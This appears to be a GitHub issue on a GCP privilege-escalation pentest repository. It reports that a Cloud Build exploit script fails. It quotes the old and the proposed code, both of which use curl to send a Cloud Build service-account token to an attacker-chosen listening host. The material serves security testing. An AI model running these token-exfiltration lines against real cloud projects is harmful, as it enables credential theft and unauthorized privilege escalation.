Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Can't get Cloud Build Service Account token. #8

Open
firefire2 opened this issue Jul 29, 2022 · 0 comments
Open

Can't get Cloud Build Service Account token. #8

firefire2 opened this issue Jul 29, 2022 · 0 comments

Comments

@firefire2
Copy link

We can't get Cloud Build Service Account token by this python code.

issue python file

https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py

Becouse no longer unavailable /root/tokencache/gsutil_token_cache in my environment.

issue code

    if args.listening_host:
        command = f'import os;os.system("curl -d @/root/tokencache/gsutil_token_cache {args.listening_host}")'
    else:
        command = f'import os;os.system("curl -d @/root/tokencache/gsutil_token_cache {args.ip_port}")'

So I suggest Changeing build container and command to gcr.io/cloud-builders/gcloud and commands to get access_token.

suggest code

    if args.listening_host:
        command = f'import os;os.system("gcloud auth print-access-token > token.txt ;curl -d @token.txt {args.listening_host}")'
    else:
        command = f'import os;os.system("gcloud auth print-access-token > token.txt ;curl -d @token.txt {args.ip_port}")'

I will pull request for this issue.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant